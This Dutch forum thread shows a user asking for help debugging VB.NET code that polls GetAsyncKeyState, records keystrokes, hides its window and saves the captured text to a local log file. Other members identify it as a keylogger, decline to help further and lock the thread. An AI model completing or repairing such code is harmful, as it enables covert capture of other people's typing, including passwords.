overschrijver

[wakmen]

Hallo

Ik heb een programma gemaakt om wat te leren.
Als wat je typt komt daar in te staan.
ik krijg geen errors maar als ik het programma start dan pas krijg ik een error

 

[MartinJM]

En wat staat er in de error message?

Aan het plaatje kunnen we alleen zien waar de fout zit, en we zouden evt nog goed naar je code kunnen kijken om te kijken wat er mis is...

Maar wat ik denk dat er mis is, is dat je GetAsyncKeyState verkeerd gebruikt.



Hoe ik het altijd gebruik:

<System.Runtime.InteropServices.DllImport("user32.dll")> Public Shared Function GetAsyncKeyState(ByVal vKey As Keys) As Short
    End Function

'In een sub...

If GetAsyncKeyState(Keys.A) <> 0 Then
     msgbox("A ingedrukt!")
end if

MartinJM



*EDIT*
Nog 1 klein dingetje:
De Short waarden van de toetsen zijn niet gelijk aan de ascii codes van de bijbehorende tekens.

 

[wakmen]

Ik krijg geen error de error was zie foto!
En ik het gevonden het fout zat in

Code:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As long) As Integer

Dat (byVal vkey as long) moest (byVal vkey as Integer) zijn!

Maar die code daar boven vind ik niet zo goed want als ik een cijfer typt bv 1=a dat is niet zo fijn!
Ik heb op internet een code gevonden maar daarbij krijg ik ook een error!

Gevonden code

Code:
Option Strict On
Public Class Form1
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Private Sub timerKeys_Tick(sender As System.Object, e As System.EventArgs) Handles timerKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For

End If
Next i

If key = Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
textbox1.Text &= key
Else
textbox1.Text &= key.ToLower
End If
End If
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then

End If
End Sub

Private Sub btnHide_Click(sender As System.Object, e As System.EventArgs) Handles btnHide.Click
Me.Hide()
End Sub

Private Sub timerSave_Tick() Handles timer2.Tick
My.Computer.FileSystem.WriteAllText("C:\acer\Log.txt", textbox1.Text, True)
textbox1.Clear()

End Sub

Private Sub Form1_FormClosed(sender As Object, e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
textbox1.Text &= vbNewLine & "Zoeken beïndigd op " & vbNewLine
timerSave_Tick()
End Sub

Private Sub Form1_Load(sender As Object, e As System.EventArgs) Handles Me.Load
textbox1.Text = "Zoeken gestart op : " & Now & vbNewLine

End Sub
End Class



Alweer krijg ik een error maar ik krijg de error wanneer ik de programma start!
De error zit bij
Code:
textbox1.Text &= key.ToLower


Het word alleen aangeduid met geel denk ik.
Maar verder geen error te zien.

PS:
De code die op de foto staat wil ik niet meer gebruiken maar de code die in deze bericht staat wil ik wel gebruiken.

 

[JoZ1]

Ten eerste: deze methode is daar niet heel handig voor.
Ten tweede: meer info mag ik niet geven want dit is een keylogger. Dat kan gebruikt worden voor illegale doeleinden...

 

[huijb]

Om bovenstaande reden gaat deze op slot